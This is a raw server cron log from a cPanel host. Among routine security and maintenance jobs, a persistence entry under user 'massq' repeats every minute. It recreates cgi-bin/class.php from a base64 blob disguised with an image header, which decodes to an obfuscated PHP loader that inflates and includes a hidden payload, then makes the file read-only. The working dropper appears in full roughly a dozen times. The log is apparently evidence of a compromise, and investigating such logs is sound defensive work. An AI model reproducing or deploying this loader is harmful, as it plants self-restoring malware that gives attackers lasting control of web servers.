Aug 31 14:50:01 server CROND[25324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:50:01 server CROND[25327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:50:01 server CROND[25325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:50:01 server CROND[25323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:50:01 server CROND[25321]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:50:01 server CROND[25322]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:51:01 server CROND[26247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:51:01 server CROND[26249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:51:01 server CROND[26250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:52:01 server CROND[26644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:52:01 server CROND[26645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:52:01 server CROND[26646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:53:01 server CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:53:01 server CROND[27027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:53:01 server CROND[27028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:54:01 server CROND[27402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:54:01 server CROND[27403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:54:01 server CROND[27404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:55:01 server CROND[27815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:55:01 server CROND[27816]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:55:01 server CROND[27827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:55:01 server CROND[27825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:55:01 server CROND[27828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:55:01 server CROND[27826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:55:01 server CROND[27830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:56:01 server CROND[28729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:56:01 server CROND[28730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:56:01 server CROND[28731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:57:01 server CROND[29144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:57:01 server CROND[29145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:57:01 server CROND[29147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:57:01 server CROND[29146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:58:01 server CROND[29542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:58:01 server CROND[29543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:58:01 server CROND[29544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:59:01 server CROND[29925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:59:01 server CROND[29926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:59:01 server CROND[29927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:00:01 server CROND[30331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:00:01 server CROND[30333]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:00:01 server CROND[30348]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 15:00:01 server CROND[30349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:00:01 server CROND[30351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:00:01 server CROND[30354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:00:01 server CROND[30353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:00:01 server CROND[30352]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:00:01 server CROND[30361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:01:01 server CROND[31266]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 15:01:01 server CROND[31267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:01:01 server CROND[31270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:01:01 server CROND[31268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
